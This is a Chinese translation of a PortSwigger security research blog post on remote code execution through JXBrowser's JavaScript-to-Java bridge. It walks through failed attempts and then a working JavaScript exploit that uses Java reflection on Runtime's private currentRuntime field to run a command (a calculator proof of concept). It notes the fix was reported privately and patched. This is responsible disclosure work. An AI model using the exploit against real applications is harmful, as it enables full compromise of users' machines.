原文鏈接:PortSwigger Web Security Blog
原作者:Gareth Heyes
譯:Holic (知道創宇404安全實驗室)
最近發現自己在使用 JXBrowser 給實驗性掃描技術制作原型,這是一個在 Java 應用中使用類似 PhantomJS 瀏覽器的庫。在使用 JXBrowser 庫創建 JavaScript 與 Java 之間的橋接時,我很好奇是否可以通過調用與現有不同的類,來攻擊 JXBrowser 的客戶端頁面,從而實現遠程代碼執行的目的。我的 JavaScript to Java bridge 如下所示:
browser.addScriptContextListener(new ScriptContextAdapter() {
@Override
public void onScriptContextCreated(ScriptContextEvent event) {
Browser browser = event.getBrowser();
JSValue window = browser.executeJavaScriptAndReturnValue("window");
window.asObject().setProperty("someObj", new someJavaClass());
}
});
本例取自 JXBrowser 演示站點,基本原理是將一個腳本注入到瀏覽器實例中,檢索 window 對象并將其轉換為 Java JSValue 對象,然后將 "someObj" 設置到 window 上,并將 Java 對象傳遞給 JavaScript window對象。如此,便橋接成功了。相關文檔說,只能使用公共類。一旦我們創建了一個橋,我們就需要一些 JavaScript 與之交互。
setTimeout(function f(){
if(window.someObj && typeof window.someObj.javaFunction === 'function') {
window.someObj.javaFunction("Called Java function from JavaScript");
} else {
setTimeout(f,0);
}
},0);
我們有一個 setTimeout 來檢測 "someObj" 屬性的存在,它不會調用自身,除非我們這么做。我首先嘗試使用 getRuntime() 查看是否可以獲取運行時(runtime)對象的一個實例并執行 calc。我是這么調用的:
window.someObj.getClass().forName('java.lang.Runtime').getRuntime();
得到以下錯誤回顯:
Neither public field nor method named 'getRuntime' exists in the java.lang.Class Java object.
(找不到 getRuntime 方法)
難道不能調用 getRuntime?我試著用更簡單方法:
window.someObj.getClass().getSuperclass().getName();
貌似有效。我也試過枚舉現有方法。
methods = window.someObj.getClass().getSuperclass().getMethods();
for(i=0;i<methods.length();i++) {
console.log(methods[i].getName());
}
wait
wait
wait
equals
toString
hashCode
getClass
notify
notifyAll
所以我能夠成功枚舉出這些方法。我決定嘗試使用 ProcessBuilder ,看看接下來會發生什么。但每次試圖調用構造函數時,我都失敗了。看起來構造函數要求一個 Java 數組。這樣的話,我需要創建一個 Java 數組的字符串,以便將它傳遞給 ProcessBuilder 構造函數。
window.someObj.getClass().forName("java.lang.ProcessBuilder").newInstance("open","-a Calculator");
//Failed
window.someObj.getClass().forName("java.lang.ProcessBuilder").newInstance(["open","-a Calculator"]);
//Failed too
稍微拋開這個問題,我試著創建另一個對象,證明了漏洞的存在。現在可以成功創建 java.net.Socket 類的一個實例。
window.someObj.getClass().forName("java.net.Socket").newInstance();
我試圖調用這個對象的 "connect" 方法,卻遇到了參數類型不正確的問題。這確實證明,盡管我可以創建 socket 對象,但我不能使用它們,好在我可以創建它們。而這里需要注意一點,我沒有給此方法傳遞任何參數。接下來我又試了 java.io.File 類,也失敗了。我別無選擇只能使用反射,但任何時候我都不能給函數提供正確類型的參數。newInstance 不可行,同樣不能調用。
我需要援助,我需要 Java 專家幫我。幸運的是,在 Portswigger 工作,你永遠不是屋子里最聰明的那個 :)。我向 Mike 和 Patrick 尋求幫助。我說明了將參數傳遞給函數要求一個 Java 數組的問題,所以我們開始尋求在 Java-JavaScript 橋中創建數組的方法。
Mike 認為使用數組列表可以解決,因為我們可以方便地使用 toArray 方法,將其轉換為一個數組。
list = window.someObj.getClass().forName("java.util.ArrayList").newInstance();
list.add("open");
list.add("-a");
list.add("Calculator");
a = list.toArray();
window.someObj.getClass().forName("java.lang.ProcessBuilder").newInstance(a));
這次的函數調用拋出了沒有該方法的異常,并聲明了我們的參數傳遞實際上是一個 JSObject。因此,即使我們創建了一個 ArrayList,toArray 被橋轉換為一個 JS 對象,因此錯誤的參數類型被發送到進程生成器。
然后,我們嘗試創建一個 Array。我們又使用了反射,在 java.lang.reflect.Array 上調用了新的實例。但它再次拋出參數類型不正確的異常,我們發送一個 double,但它要求一個 int。然后我們嘗試使用 java.lang.Integer 。但是還是遇到這個問題。Patrick 認為我們可以使用 MAX_INT 屬性創建一個巨大的數組 :) ,至少我們會得到 int 。然而“橋”把來自 java 的 int 轉換為 double。
這便是我們試過的:
list = window.someObj.getClass().forName("java.util.ArrayList").newInstance();
list.add("open");
list.add("-a");
list.add("Calculator");
a = list.toArray();
window.someObj.getClass().forName("java.lang.ProcessBuilder").newInstance(a));
我們得到了空指針異常,而且沒有參數也不行,但這就是 JavaScript ,我想,為何沒發送 123,將其作為參數。我認為它不會生效,但它實際上輸出了我們的 max int。我們繼續嘗試用 max int 調用 Array 構造函數,當然也失敗了。然后我們決定查看運行時(runtime)對象,看看能否使用相同的技術。Mike 建議使用 getDeclaredField ,并獲取當前運行時的屬性,使其可被訪問,因為它是一個私有屬性,我們很開心地看到彈出了計算器。
field = window.someObj.getClass().forName('java.lang.Runtime').getDeclaredField("currentRuntime");
field.setAccessible(true);
runtime = field.get(123);
runtime.exec("open -a Calculator");
這意味著通過使用 JavaScript-Java 橋的代碼在 JXBrowser 中呈現的網站,都可能完全控制客戶端。
我們私下向 TeamDev(JXBrowser 的制造商)報告了這個問題,他們發布了一個補丁,支持使用 @JSAccessible 注釋規定允許的屬性/方法的白名單。請注意,如果應用程序在任何地方都不使用 @JSAccessible 注釋,白名單不會被強制執行,上述利用腳本依然有效。
Enjoy - @garethheyes
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/139/
暫無評論